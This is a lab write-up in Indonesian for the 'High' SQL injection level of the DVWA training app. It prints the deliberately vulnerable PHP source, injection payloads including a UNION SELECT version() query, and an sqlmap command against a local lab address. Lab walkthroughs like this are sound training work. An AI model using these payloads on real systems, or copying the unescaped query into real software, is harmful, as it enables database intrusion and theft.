DVWA
  • Introduction
  • About The Author
  • Brute Force
    • Pengenalan
    • Low
    • Medium
    • High
  • Command Injection
    • Pengenalan
    • Low
    • Medium
    • High
  • CSRF
    • Pengenalan
    • Low
    • Medium
    • High
  • File Inclusion
    • Pengenalan
    • Low
    • Medium
    • High
  • File Upload
    • Pengenalan
    • Low
    • Medium
    • High
  • SQL Injection
    • Pengenalan
    • Low
    • Medium
    • High
  • SQL Injection (Blind)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (DOM)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (Reflected)
    • Pengenalan
    • Low
    • Medium
    • High
  • XSS (STORED)
    • Pengenalan
    • Low
    • Medium
    • High
  • CSP Bypass
    • Pengenalan
    • Low
    • Medium
    • High
Powered by GitBook
On this page
  • Mencari Informasi
  • Melakukan Serangan
  • Menggunakan SQLMap

Was this helpful?

  1. SQL Injection

High

SQL Injection level High on DVWA

Di bawah ini adalah source-code dari SQL Injection level high di DVWA.

vulnerabilities/sqli/source/high.php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

Mencari Informasi

Jika kita mencoba memasukkan kutip ', terdapat pesan error (tetapi pesan error ini, pesan yang telah developer tentukan).

Coba perhatikan source code-nya, kali ini tidak terdapat pengecekan spesial karakter dan terdapat LIMIT yang membuat hanya 1 record yang tampil. Sehingga jika kita kembali menggunakan payload berikut, tetap yang muncul hanyalah 1 record.

%' '0' = '0

Untuk mengatasi LIMIT ini, saya menemukan suatu cara, yaitu membuat query LIMIT ini menjadi komentar dengan menggunakan karakter #.

Melakukan Serangan

Setelah mengumpulkan informasi, kita akan mulai melakukan SQL Injection dengan payload seperti berikut:

%' '0' = '0' #

Sehingga query yang server jalankan adalah seperti berikut:

SELECT first_name, last_name FROM users WHERE user_id = '%' '0' = '0' #' LIMIT 1;

Kita juga bisa mendapatkan informasi tentang versi DBMS yang digunakan dengan payload berikut:

1 ' UNION SELECT null, version() #

Yup! Setelah ini kalian bisa explore lebih lanjut ya.

Pada level ini saya tidak bisa menggunakan SQLMap. Sepertinya SQLMap kebingungan, karena kita menggunakan halaman session-input.php untuk melakukan inputan, sedangkan hasilnya berada pada index.php.

Menggunakan SQLMap

UPDATE!!! Gunakan perintah berikut lalu jalankan:

sqlmap -u "http://172.17.0.2/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=lred0jr6na1vmci2o8160sb5ff; security=high" --dbs
PreviousMediumNextPengenalan

Last updated 5 years ago

Was this helpful?

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman session-input.php (lalu nilanya dijadikan ) dan hasilnya akan ditampilkan di halaman index.php.

Mudah dimengerti bukan?

Saya menemukan perintah di atas di salah satu video youtube, tetapi jujur saya tidak bisa menjelaskannya (masih binggung).

Sekarang parameter id disimpan di URL dan berada di index.php (bukan session-input.php). Saya sudah membaca -nya, tetapi sampai saat ini belum bisa saya menjelaskannya. Jika anda mengerti, tolong beritahu saya.

Tetap semangat! Happy Hacking!

😊
☹️
🍻
session
😊
source-code